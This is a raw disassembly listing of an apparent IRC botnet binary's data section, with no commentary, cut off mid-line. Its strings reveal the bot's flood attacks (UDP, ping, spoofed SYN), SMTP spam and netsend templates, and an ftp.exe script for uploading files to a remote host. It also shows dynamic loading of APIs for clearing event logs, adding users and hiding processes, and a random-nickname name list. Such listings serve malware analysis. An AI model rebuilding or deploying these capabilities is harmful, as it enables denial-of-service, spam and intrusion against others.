%d-%d.',0 align 4 unk_4442A8 db 2Dh ; - ; DATA XREF: sub_401CC1+5561o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_19 db 'Failed to start scan thread, error: <%d>.',0 align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401CC1+474Bo aVvv db 'vvv',0 ; DATA XREF: sub_401CC1+4762o unk_4442F0 db 2Dh ; - ; DATA XREF: sub_401CC1+4FB8o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScan_0 db 'Already %d scanning threads. Too many specified.',0 align 10h unk_444330 db 2Dh ; - ; DATA XREF: sub_401CC1+5219o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_20 db 'Failed to start scan, port is invalid.',0 align 4 unk_444364 db 2Dh ; - ; DATA XREF: sub_401CC1+5276o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_21 db 'Failed to start scan, no IP specified.',0 align 4 aRandom_1 db 'Random',0 ; DATA XREF: sub_401CC1+53BAo align 10h aSequential_0 db 'Sequential',0 ; DATA XREF: sub_401CC1+53C1o align 4 unk_4443AC db 2Dh ; - ; DATA XREF: sub_401CC1+53ECo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanSta_0 db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_444414 db 2Dh ; - ; DATA XREF: sub_401CC1+545Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_22 db 'Failed to start scan thread, error: <%d>.',0 align 4 aUdpflood db 'udpflood',0 ; DATA XREF: sub_401CC1+4779o align 4 aPu1 db 'pu1',0 ; DATA XREF: sub_401CC1+4790o aU: ; DATA XREF: sub_401CC1+47A7o unicode 0, <u>,0 unk_444460 db 2Dh ; - ; DATA XREF: sub_401CC1+4EEEo db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_4444A8 db 2Dh ; - ; DATA XREF: sub_401CC1+4F59o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_23 db '- Failed to start flood thread, error: <%d>.',0 align 10h aNetsend db 'netsend',0 ; DATA XREF: sub_401CC1+47BEo aNs db 'ns',0 ; DATA XREF: sub_401CC1+47D5o align 4 unk_4444EC db 2Dh ; - ; DATA XREF: sub_401CC1+4D46o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 unk_444528 db 2Dh ; - ; DATA XREF: sub_401CC1+4DE8o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 10h unk_444560 db 2Dh ; - ; DATA XREF: sub_401CC1+4E0Co db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_444594 db 2Dh ; - ; DATA XREF: sub_401CC1+4E40o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_401CC1+47ECo align 4 aPing_0 db 'ping',0 ; DATA XREF: sub_401CC1+4803o align 4 aP: ; DATA XREF: sub_401CC1+481Ao unicode 0, <p>,0 unk_4445E0 db 2Dh ; - ; DATA XREF: sub_401CC1+4CA5o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 unk_444628 db 2Dh ; - ; DATA XREF: sub_401CC1+4D14o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_24 db 'Failed to start flood thread, error: <%d>.',0 align 10h aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401CC1+4D29o align 4 aTfpff db 'tfpff',0 ; DATA XREF: sub_401CC1+4831o align 10h aUsa db 'usa',0 ; DATA XREF: sub_401CC1+4848o aSyn db 'syn',0 ; DATA XREF: sub_401CC1+4A7Co aAck db 'ack',0 ; DATA XREF: sub_401CC1+4A94o aRandom_0 db 'random',0 ; DATA XREF: sub_401CC1+4AABo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401CC1+4B50o aNormal db 'Normal',0 ; DATA XREF: sub_401CC1+4B57o align 4 unk_4446A4 db 2Dh ; - ; DATA XREF: sub_401CC1+4B67o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 unk_4446D8 db 2Dh ; - ; DATA XREF: sub_401CC1+4BE1o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_25 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_444710 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_4068BBo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_444748 db 2Dh ; - ; DATA XREF: sub_401CC1+4ABBo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 4 aEmail db 'email',0 ; DATA XREF: sub_401CC1+485Fo align 4 asc_44477C: ; DATA XREF: sub_401CC1+48A9o unicode 0, < >,0 a__0: ; DATA XREF: sub_401CC1+48AEo unicode 0, <_>,0 aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401CC1+494Ao db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 unk_4447D0 db 2Dh ; - ; DATA XREF: sub_401CC1+49BEo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401CC1+4A0Do aHcon db 'hcon',0 ; DATA XREF: sub_401CC1+4A20o align 4 aUpload db 'upload',0 ; DATA XREF: sub_401CC1+4FEEo align 4 unk_44480C db 2Dh ; - ; DATA XREF: sub_401CC1+5011o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401CC1+506Ao align 4 aAb db 'ab',0 ; DATA XREF: sub_401CC1+507Bo align 10h aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401CC1+509Fo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSS_0 db '-s:%s',0 ; DATA XREF: sub_401CC1+50BFo align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401CC1+50D6o aOpen_0 db 'open',0 ; DATA XREF: sub_401CC1+50DBo align 4 unk_44487C db 2Dh ; - ; DATA XREF: sub_401CC1+50EDo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s',0 align 4 unk_4448A4 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_406DB5o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s failed.',0 align 4 aNotice_3 db 'NOTICE',0 ; DATA XREF: sub_408EB9+Fo align 4 aPrivmsg_2 db 'PRIVMSG',0 ; DATA XREF: sub_408EB9+16o aS_18 db '%s',0 ; DATA XREF: sub_408EB9+3Bo align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_408EB9+58o aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_408F54+Ao align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_408F54+23o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_408F54+2Bo align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_408F54+38o align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_408F54+45o align 10h aModule32first db 'Module32First',0 ; DATA XREF: sub_408F54+52o align 10h aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_408F54+5Fo aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_408F54+6Co aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_408F54+79o align 4 aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_408F54+86o aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_408F54+93o aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_408F54+A0o align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_408F54:loc_40905Co align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_408F54:loc_409089o align 10h aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_408F54+14Ao align 10h aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_408F54+152o aIswindow db 'IsWindow',0 ; DATA XREF: sub_408F54+15Fo align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_408F54+16Co align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_408F54+179o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_408F54+186o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_408F54+193o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_408F54+1A0o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_408F54:loc_409159o align 4 aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_408F54+216o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_408F54+21Eo aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_408F54+22Bo align 4 aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_408F54+238o align 10h aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_408F54+245o aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_408F54+252o aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_408F54+25Fo align 4 aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_408F54+26Co align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_408F54:loc_40920Co align 10h aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_408F54+2C0o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_408F54+2CDo align 10h aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_408F54:loc_409251o align 10h aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_408F54+305o align 10h aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_408F54+312o align 10h aControlservice db 'ControlService',0 ; DATA XREF: sub_408F54+31Fo align 10h aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_408F54+32Co align 10h aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_408F54+339o align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_408F54+346o aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_408F54+353o align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_408F54:loc_4092FFo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_408F54:loc_409327o align 10h aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_408F54+3E4o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_408F54+3ECo align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_408F54+3F9o align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_408F54+406o align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_408F54+413o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_408F54+420o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_408F54+42Do align 10h aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_408F54+43Ao align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_408F54+447o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_408F54+4BAo align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_408F54+4CBo align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_408F54+4D3o align 10h aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_408F54+4E0o align 10h a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_408F54+4EDo align 10h aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_408F54+4FAo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_408F54+507o aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_408F54+514o align 4 aSocket db 'socket',0 ; DATA XREF: sub_408F54+521o align 10h aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_408F54+52Eo aConnect db 'connect',0 ; DATA XREF: sub_408F54+53Bo aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_408F54+548o align 10h aInet_addr db 'inet_addr',0 ; DATA XREF: sub_408F54+555o align 4 aHtons db 'htons',0 ; DATA XREF: sub_408F54+562o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_408F54+56Fo align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_408F54+57Co align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_408F54+589o align 4 aSend_0 db 'send',0 ; DATA XREF: sub_408F54+596o align 4 aSendto db 'sendto',0 ; DATA XREF: sub_408F54+5A3o align 4 aRecv db 'recv',0 ; DATA XREF: sub_408F54+5B0o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_408F54+5BDo align 10h aBind db 'bind',0 ; DATA XREF: sub_408F54+5CFo align 4 aSelect db 'select',0 ; DATA XREF: sub_408F54+5D7o align 10h aListen db 'listen',0 ; DATA XREF: sub_408F54+5E4o align 4 aAccept db 'accept',0 ; DATA XREF: sub_408F54+5F1o align 10h aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_408F54+5FEo align 4 aGetsockname db 'getsockname',0 ; DATA XREF: sub_408F54+60Bo aGethostname db 'gethostname',0 ; DATA XREF: sub_408F54+618o aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_408F54+625o align 4 aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_408F54+632o align 4 aGetpeername db 'getpeername',0 ; DATA XREF: sub_408F54+63Fo aClosesocket db 'closesocket',0 ; DATA XREF: sub_408F54+64Co aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_408F54:loc_4096D9o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_408F54+796o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_408F54+79Eo aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_408F54+7ABo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_408F54+7B8o align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_408F54+7C5o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_408F54+7D2o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_408F54+7DFo align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_408F54+7ECo align 4 aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_408F54+7F9o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_408F54+806o aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_408F54+878o align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_408F54:loc_4097F9o align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_408F54+8B2o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_408F54+8BAo aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_408F54+8C7o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_408F54:loc_409858o align 4 aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_408F54+915o aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_408F54+91Do aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_408F54+92Ao align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_408F54+937o align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_408F54+944o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_408F54+951o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_408F54+95Eo align 10h aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_408F54+96Bo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_408F54+978o aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_408F54+985o align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_408F54+992o align 10h aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_408F54+99Fo aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_408F54:loc_409974o align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_408F54+A2Do align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_408F54+A35o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_408F54:loc_4099BEo align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_408F54+A77o align 4 aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_408F54+A7Fo align 4 aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_408F54:loc_409A08o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_408F54+AC1o aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_408F54+AC9o aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_408F54+AD6o align 10h aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_408F54+AE3o align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_408F54:loc_409A7Co aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_408F54+B35o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_408F54+B3Do align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_408F54:loc_409AC6o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_408F54+B7Fo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_408F54+B87o align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_408F54+B94o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_408F54+BA1o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_408F54+BAEo align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_408F54+BBBo align 4 aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+28o align 10h aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+5Co aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+90o align 4 aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+C4o align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+F8o aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+12Co align 10h aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+160o align 4 aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+194o align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+1C8o aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+1FCo align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+230o align 10h aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+264o align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_409B6C+298o unk_4452B4 db 2Dh ; - ; DATA XREF: sub_409B6C+2BEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 a__7: ; DATA XREF: .nsp0:00409E98o unicode 0, <.>,0 a__8: ; DATA XREF: .nsp0:00409EB0o unicode 0, <.>,0 unk_4452DC db 2Dh ; - ; DATA XREF: sub_409F35+8Co db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 unk_445308 db 2Dh ; - ; DATA XREF: sub_409F35:loc_409FC8o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_445338 db 2Dh ; - ; DATA XREF: sub_409F35:loc_409F8Eo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 byte_445345 db 3, 2Dh, 20h ; DATA XREF: .nsp0:00452198o aArpCacheIsEmpt db 'ARP cache is empty',0 align 4 unk_44535C db 2Dh ; - ; DATA XREF: sub_409F35:loc_409FFAo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_44538C db 2Dh ; - ; DATA XREF: sub_409F35+43o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGetting_0 db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40A019+46o align 8 aReal db 'real',0 align 10h dd 0 dword_4453D4 dd 0 ; DATA XREF: sub_40A4F6+7o off_4453D8 dd offset sub_40A112 ; DATA XREF: sub_40A4F6+49r aConst db 'const',0 align 8 dd 1, 40A17Eh, 7474656Ch, 7265h, 0 dd 2, 40A1DCh, 706D6F63h, 2 dup(0) dd 3, 40A229h, 6E756F63h, 797274h, 0 dd 4, 40A2CFh, 736Fh, 2 dup(0) dd 5, 40A344h off_445440 dd offset aAbdulrazak ; DATA XREF: sub_40A112+20r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" off_44544C dd offset aAddison ; DATA XREF: sub_40A4F6+39o ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison_0 ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner_0 ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook_0 ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer_0 ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset aBurke ; "Burke" dd offset 